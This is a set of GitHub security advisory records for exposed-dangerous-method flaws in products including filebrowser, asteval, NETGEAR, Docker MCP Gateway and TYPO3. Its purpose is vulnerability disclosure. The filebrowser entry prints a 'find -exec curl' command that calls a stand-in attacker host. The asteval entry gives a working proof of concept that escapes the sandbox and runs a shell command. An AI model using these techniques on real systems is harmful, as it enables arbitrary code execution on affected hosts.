CWE-749

{
  "affected": [],
  "aliases": [
    "CVE-2023-3656"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-03T08:15:35Z",
    "severity": "CRITICAL"
  },
  "details": "cashIT! - serving solutions. Devices from \"PoS/ Dienstleistung, Entwicklung \u0026 Vertrieb GmbH\" to 03.A06rks 2023.02.37 are affected by an unauthenticated remote code execution vulnerability. This vulnerability can be triggered by an HTTP endpoint exposed to the network.",
  "id": "GHSA-3f63-w59m-x8ff",
  "modified": "2023-11-02T12:30:16Z",
  "published": "2023-10-03T09:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3656"
    },
    {
      "type": "WEB",
      "url": "https://doi.org/10.35011/ww2q-d522"
    },
    {
      "type": "WEB",
      "url": "https://www.cashit.at"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-51583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T03:16:18Z",
    "severity": "CRITICAL"
  },
  "details": "Voltronic Power ViewPower UpsScheduler Exposed Dangerous Method Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Voltronic Power ViewPower. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the UpsScheduler class. The issue results from an exposed dangerous method. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-22036.",
  "id": "GHSA-3mqv-2377-w337",
  "modified": "2024-05-03T03:31:07Z",
  "published": "2024-05-03T03:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51583"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1888"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-75810"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T03:17:18Z",
    "severity": "MODERATE"
  },
  "details": "Exposed Dangerous Method or Function in ASUS\u00a0Armoury Crate allow a local user to cause a brief system stall by bypassing driver authentication and sending requests to trigger system management interrupts (SMIs). Repeatedly triggering SMI may lead to a denial-of-service (DoS) condition.Refer to the \u0027\nSecurity Update for Armoury Crate App\u00a0\u0027 section on the ASUS Security Advisory for more information.",
  "id": "GHSA-3pcj-r585-2782",
  "modified": "2026-09-08T03:31:14Z",
  "published": "2026-09-08T03:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75810"
    },
    {
      "type": "WEB",
      "url": "https://www.asus.com/security-advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.33.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-52903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-749",
      "CWE-77",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-27T15:19:16Z",
    "nvd_published_at": "2025-06-26T19:15:21Z",
    "severity": "HIGH"
  },
  "details": "\u003e [!NOTE]\n\u003e **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We\u0027re publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n\u003e\n\u003e For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Summary ##\n\nThe *Command Execution* feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.\n\n## Impact ##\n\nThe concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the `Execute commands` permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the *uid* of the server process.\n\n## Vulnerability Description ##\n\nMany Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the `find` command and nothing else, this restriction can be circumvented by using the `-exec` flag.\n\nSome common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website \u003chttps://gtfobins.github.io\u003e gives a comprehensive overview:\n\n* \u003chttps://gtfobins.github.io/gtfobins/cpio\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/find\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/sed\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/git\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/env\u003e\n\nAs a prerequisite, an attacker needs an account with the `Execute Commands` permission and some permitted commands.\n\n## Proof of Concept ##\n\nThe following screenshot demonstrates, how this can be used to issue a network call to an external server:\n\n![image](https://github.com/user-attachments/assets/02ef0833-79ee-40f7-87b8-bbb3fe102eab)\n\n## Recommended Countermeasures ##\n\nUntil this issue is fixed, we recommend to completely disable `Execute commands` for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application\u0027s configuration.\n\nThe `prlimit` command can be used to prevent the execution of subcommands:\n\n```bash\n$ find . -exec curl http://evil.com {} \\;\n\u003cHTML\u003e\n\u003cHEAD\u003e\n[...]\n\n$ prlimit --nproc=0 find . -exec curl http://evil.com {} \\;\nfind: cannot fork: Resource temporarily unavailable\n```\n\nIt should be prepended to any command executed in the context of the application. `prlimit` can be used for containerized deployments as well as for bare-metal ones.\n\nWARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the `find` command can also delete files directly via its `-delete` flag.\n\nAs a defense-in-depth measure, Filebrowser should provide an additional container image based on a *distroless* base image.\n\n## Timeline ##\n\n* `2025-03-26` Identified the vulnerability in version 2.32.0\n* `2025-06-25` Uploaded advisories to the project\u0027s GitHub repository\n* `2025-06-25` CVE ID assigned by GitHub\n* `2025-06-25` A patch version has been pushed to disable the feature for all existent installations, and making it **opt-in**. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.\n\n## References ##\n\n* [prlimit](https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html)\n* [\"Distroless\" Container Images.](https://github.com/GoogleContainerTools/distroless)\n* [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands)\n \n## Credits ##\n\n* Mathias Tausig ([SBA Research](https://www.sba-research.org/))",
  "id": "GHSA-3q2w-42mv-cph4",
  "modified": "2026-06-09T18:40:07Z",
  "published": "2025-06-27T15:19:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3q2w-42mv-cph4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/4d830f707fc4314741fd431e70c2ce50cd5a3108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GoogleContainerTools/distroless"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands"
    },
    {
      "type": "WEB",
      "url": "https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3786"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filebrowser Allows Shell Commands to Spawn Other Commands"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-68823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-07T00:16:40Z",
    "severity": "CRITICAL"
  },
  "details": "Exposed dangerous method or function in Azure Confidential Ledger allows an authorized attacker to execute code over a network.",
  "id": "GHSA-3qxj-38rm-h2rg",
  "modified": "2026-08-07T00:31:24Z",
  "published": "2026-08-07T00:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68823"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-68823"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "asteval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-24T18:45:30Z",
    "nvd_published_at": "2025-01-24T17:15:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nIf an attacker can control the input to the `asteval` library, they can bypass asteval\u0027s restrictions and execute arbitrary Python code in the context of the application using the library.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the [`on_formattedvalue`](https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507) value uses the [dangerous format method of the str class](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), as shown in the vulnerable code snippet below:\n\n```py\n    def on_formattedvalue(self, node): # (\u0027value\u0027, \u0027conversion\u0027, \u0027format_spec\u0027)\n        \"formatting used in f-strings\"\n        val = self.run(node.value)\n        fstring_converters = {115: str, 114: repr, 97: ascii}\n        if node.conversion in fstring_converters:\n            val = fstring_converters[node.conversion](val)\n        fmt = \u0027{__fstring__}\u0027\n        if node.format_spec is not None:\n            fmt = f\u0027{{__fstring__:{self.run(node.format_spec)}}}\u0027\n        return fmt.format(__fstring__=val)\n```\n\nThe code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\n# def lender():\n#     ga\n    \ndef pwn():\n    try:\n        f\"{dict.mro()[1]:\u0027\\\\x7B__fstring__.__getattribute__.s\\\\x7D\u0027}\"\n    except Exception as ga:\n        ga = ga.obj\n        sub = ga(dict.mro()[1],\"__subclasses__\")()\n        importer = None\n        for i in sub:\n            if \"BuiltinImporter\" in str(i):\n                importer = i.load_module\n                break\n        os = importer(\"os\")\n        os.system(\"whoami\")\n\n# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below\n# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works\n        \npwn()\n\"\"\"\naeval(code)\n\n```",
  "id": "GHSA-3wwr-3g9f-9gc7",
  "modified": "2025-01-25T00:54:49Z",
  "published": "2025-01-24T18:45:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/security/advisories/GHSA-3wwr-3g9f-9gc7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24359"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lmfit/asteval"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507"
    },
    {
      "type": "WEB",
      "url": "https://lucumr.pocoo.org/2016/12/29/careful-with-str-format"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-38101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T02:15:52Z",
    "severity": "HIGH"
  },
  "details": "NETGEAR ProSAFE Network Management System SettingConfigController Exposed Dangerous Function Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NETGEAR ProSAFE Network Management System. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.\n\nThe specific flaw exists within the SettingConfigController class. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-19725.",
  "id": "GHSA-3xfc-m583-jq9v",
  "modified": "2024-05-03T03:30:55Z",
  "published": "2024-05-03T03:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38101"
    },
    {
      "type": "WEB",
      "url": "https://kb.netgear.com/000065707/Security-Advisory-for-Multiple-Vulnerabilities-on-the-ProSAFE-Network-Management-System-PSV-2023-0024-PSV-2023-0025"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-915"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.27.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/mcp-gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.28.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-03T16:07:31Z",
    "nvd_published_at": "2025-12-03T18:15:46Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nWhen ran in sse or streaming mode (--transport), the Docker MCP Gateway is vulnerable to a DNS rebinding attack. \n\nVulnerability allows for Browser-Based exploitation of any MCP servers that are executing within the Docker MCP Gateway. Any tools or other features exposed by MCP servers can be manipulated by an attacker who is able to get a victim to visit a malicious website, or if a victim is served a malicious advertisement. \n\nThe MCP Gateway is not prone to this attack when started in its default stdio mode, which does not listen on any network ports.\n\n\n### Patches\nPatch available in version v0.28.0\n\n### Workarounds\nDo not start the MCP gateway in sse or streaming mode (use default stdio)",
  "id": "GHSA-46gc-mwh4-cc5r",
  "modified": "2025-12-03T18:56:54Z",
  "published": "2025-12-03T16:07:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/docker/mcp-gateway/security/advisories/GHSA-46gc-mwh4-cc5r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64443"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docker/mcp-gateway/pull/190"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docker/mcp-gateway/commit/6b076b2479d8d1345c50c112119c62978d46858e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docker/mcp-gateway/commit/fe073985c8eb6e0c9317d2f198c07686f70ea06d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/docker/mcp-gateway"
    },
    {
      "type": "WEB",
      "url": "https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#security-warning"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:H/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Docker MCP Plugin and Docker MCP Gateway have DNS Rebinding vulnerability when running in sse or streaming mode"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-26651"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-08T18:15:49Z",
    "severity": "MODERATE"
  },
  "details": "Exposed dangerous method or function in Windows Local Session Manager (LSM) allows an authorized attacker to deny service over a network.",
  "id": "GHSA-47qr-4ffm-5qm9",
  "modified": "2025-04-08T18:34:46Z",
  "published": "2025-04-08T18:34:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26651"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-26651"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.4.47"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-extensionmanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.4.48"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.5.41"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-extensionmanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.5.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.4.24"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-extensionmanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.4.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.4.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-extensionmanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0.0"
            },
            {
              "fixed": "13.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-14T15:40:07Z",
    "nvd_published_at": "2025-01-14T20:15:29Z",
    "severity": "HIGH"
  },
  "details": "### Problem\nA vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method.\n\nSuccessful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions:\n\n* the user opens a malicious link, such as one sent via email.\n* the user visits a compromised or manipulated website while the following settings are misconfigured:\n  + `security.backend.enforceReferrer` feature is disabled,\n  + `BE/cookieSameSite` configuration is set to `lax` or `none`\n\nThe vulnerability in the affected downstream component \u201cExtension Manager Module\u201d allows attackers to retrieve and install 3rd party extensions from the TYPO3 Extension Repository - which can lead to remote code execution in the worst case.\n\n### Solution\nUpdate to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS that fix the problem described.\n\n### Credits\nThanks to TYPO3 core and security members Benjamin Franzke, Oliver Hader, Andreas Kienast, Torben Hansen, Elias H\u00e4u\u00dfler who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2025-006](https://typo3.org/security/advisory/typo3-core-sa-2025-006)",
  "id": "GHSA-4g52-pq8j-6qv5",
  "modified": "2025-05-21T14:13:28Z",
  "published": "2025-01-14T15:40:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-4g52-pq8j-6qv5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55921"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3-CMS/extensionmanager/commit/a5a58626dcb2af0c31bc6aec068e3d24e789b9e8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TYPO3-CMS/extensionmanager"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2025-006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TYPO3 Extension Manager Module vulnerable to Cross-Site Request Forgery"
}